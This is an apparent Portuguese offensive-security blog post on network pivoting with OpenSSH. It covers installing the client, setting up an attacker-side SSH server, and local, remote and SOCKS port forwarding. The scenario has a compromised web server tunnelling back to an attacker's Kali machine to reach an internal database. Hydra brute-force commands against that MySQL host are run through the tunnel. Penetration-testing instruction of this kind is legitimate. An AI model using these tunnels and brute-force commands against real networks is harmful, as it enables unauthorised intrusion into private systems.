Pivoting com SSH
- Gustavo Viana
- Segurança ofensiva
- 4 de setembro de 2024
Uma das ferramentas mais eficazes para o processo de Pivoting é o OpenSSH , que se destaca por sua legitimidade e confiança. Neste post, vamos explorar a utilização do OpenSSH (ou apenas SSH) para realizar pivoting em redes internas, abordando sua instalação, uso básico e exemplos práticos.
Caso você ainda não saiba o que é Pivoting, recomendo a leitura do nosso post sobre o assunto !
O que é SSH?
SSH (ou Secure Shell) é um protocolo de rede criptografado usado principalmente para operar ou administrar servidores. Ele é mais comumente utilizado para acessar remotamente sistemas Unix/Linux e permite executar comandos, transferir arquivos e até redirecionar portas de maneira segura entre hosts na rede.
O SSH funciona por meio de um modelo cliente-servidor, onde o cliente SSH se conecta ao servidor SSH usando credenciais como senha ou chaves públicas/privadas para autenticação. A comunicação entre o cliente e o servidor é criptografada, garantindo a confidencialidade e integridade dos dados trocados.
Como instalar o OpenSSH Client?
Veja abaixo como instalar o OpenSSH Client em máquinas Linux e Windows.
- Linux
- Windows
O Client SSH já vem instalado por padrão em todas as distribuições linux.
Nenhuma ação é necessária!
Nas últimas versões do Windows, o OpenSSH Client já vem instalado por padrão. Caso esteja em uma versão mais antiga, siga o passo a passo abaixo.
Primeiramente, abra o Powershell e execute o comando abaixo para criar um diretório e realizar o download:
mkdir C:\Tools\SSH;cd C:\Tools\SSH
IWR https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64.zip -OutFile OpenSSH-Win64.zip
Agora extraia os arquivos utilizando o Expand-Archive do Powershell:
Expand-Archive -Path "OpenSSH-Win64.zip" -DestinationPath "ssh" -Force
Mova os arquivos para que fiquem direto em C:\Tools\SSH:
Move-Item -Path "OpenSSH-Win64\*" -Destination "C:\Tools\SSH" -Force;Remove-Item -Path .\OpenSSH-Win64*
Caso você queira adicionar o C:\Tools\SSH no PATH para não precisar digitar o caminho do binário completo:
$env:Path += ";C:\Tools\SSH";[System.Environment]::SetEnvironmentVariable("Path", $env:Path, [System.EnvironmentVariableTarget]::User)
Exemplificando Pivoting com SSH
Para exemplificar o uso do Pivoting com SSH, veja abaixo um cenário em que o atacante precisa comprometer um servidor Web (Rede pública) que tem conectividade com um servidor de Banco de Dados da rede interna ou privada:
Neste caso, o SSH Server seria executado na máquina do atacante, enquanto o SSH Client seria executado na máquina Web invadida, fazendo com que o atacante tenha acesso ao host 192.168.100.100.
Configurando o servidor SSH
Algumas opções precisam ser alteradas no sshd_config para que o SSH Server permita o encaminhamento de portas e criação de SOCKS Proxy.
Primeiro, configure o servidor SSH na sua máquina que receberá a conexão:
sudo apt update && sudo apt install openssh-server
sudo systemctl enable ssh
sudo systemctl start ssh
sudo bash -c 'echo -e "\nAllowTcpForwarding yes\nGatewayPorts yes\nPermitTunnel yes\nPermitRootLogin yes\n" >> /etc/ssh/sshd_config && systemctl restart sshd'
Warning
O PermitRootLogin é opcional, você pode conectar-se com qualquer usuário.
Realizando o Pivoting via SSH
Agora, existem três métodos que podem ser utilizados para realizar o pivoting:
1. Encaminhamento de portas local
O encaminhamento de portas local (parâmetro -L) é usado para encaminhar uma porta da máquina cliente para uma porta da máquina servidor. Basicamente, o cliente SSH escuta conexões em uma porta configurada e, quando recebe uma conexão, tunela a conexão para o servidor SSH. O servidor se conecta a uma porta de destino configurada (essa porta de destino pode ser uma máquina diferente do Servidor SSH).
Por exemplo, veja o comando abaixo:
ssh -L 81:192.168.1.105:3306 user@pivot -N
Para exemplificar um cenário, veja a explicação e imagem abaixo:
- Estamos conectando via SSH na máquina pivot com o usuário user
- A máquina pivot tem acesso a porta 3306 do host 192.168.1.105 (DB Server)
- Será aberta a porta 81 na máquina cliente e, ao realizar qualquer requisição para essa porta, o tráfego será encaminhado para 192.168.1.105:3306
Agora, na máquina cliente já seria possível realizar um brute force no MySQL do host 192.168.1.105 com Hydra da seguinte maneira:
hydra -L users.txt -P passwords.txt -s 81 127.0.0.1 mysql -VI
2. Encaminhamento de portas remoto
O encaminhamento de portas remoto (parâmetro -R) é usado para encaminhar uma porta da máquina SSH Server para uma porta de outro servidor remoto (ou até mesmo uma porta local). No cenário abaixo, a porta 81 será aberta no SSH Server e a conexão será então tunelada de volta para o host do cliente e o cliente fará uma conexão TCP com a porta 3306 do host remoto.
ssh -R 81:192.168.1.105:3306 user@kali -N
Para exemplificar um cenário, veja a explicação e imagem abaixo:
- Estamos conectando via SSH na máquina Kali com o usuário user
- A máquina pivot tem acesso a porta 3306 do host 192.168.1.105 (DB Server)
- Será aberta a porta 81 na máquina servidor ssh (Kali) e, ao realizar qualquer requisição para essa porta, o tráfego será encaminhado para 192.168.1.105:3306
Agora, na máquina servidor já seria possível realizar um brute force no MySQL do host 192.168.1.105 com Hydra da seguinte maneira:
hydra -L users.txt -P passwords.txt -s 81 127.0.0.1 mysql -VI
3. Encaminhamento dinâmico de portas (ou SOCKS Proxy)
O encaminhamento dinâmico de portas permite a criação de um túnel entre sua máquina local e um servidor SSH remoto. Existem duas maneiras de realizar essa operação via SSH:
- Transformando o servidor SSH em um servidor proxy
- Transformando o cliente SSH em um servidor proxy
O encaminhamento dinâmico é bem diferente do encaminhamento de portas local e remoto: Enquanto estes dois redirecionam portas específicas para hosts específicos, o encaminhamento dinâmico permite redirecionar o tráfego de muitos hosts e portas rapidamente.
Lembre-se de que as opções AllowTcpForwarding e GatewayPorts precisam estar ligadas no sshd_config, como já falado acima na seção Configurando o servidor SSH.
3.1 Transformando o Servidor SSH em Proxy
Primeiro, vamos observar o funcionamento transformando o Servidor SSH em um servidor proxy. Essa técnica/operação também é chamada de Reverse Socks Proxy:
ssh -R 9050 user@kali
Para exemplificar o uso do Reverse Socks Proxy, veja a imagem abaixo:
3.2 Transformando o Cliente SSH em Proxy
Agora vamos ver o segundo método, transformando o Cliente SSH em um servidor proxy:
ssh -D 1337 -q -C -N -f root@pivot
Veja a imagem abaixo que exemplifica o funcionamento:
Agora que você já criou o socks proxy, poderá executar o Proxychains para direcionar o tráfego para o DB Server:
proxychains hydra -C users_passwords.txt mysql://192.168.100.100 -VI
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !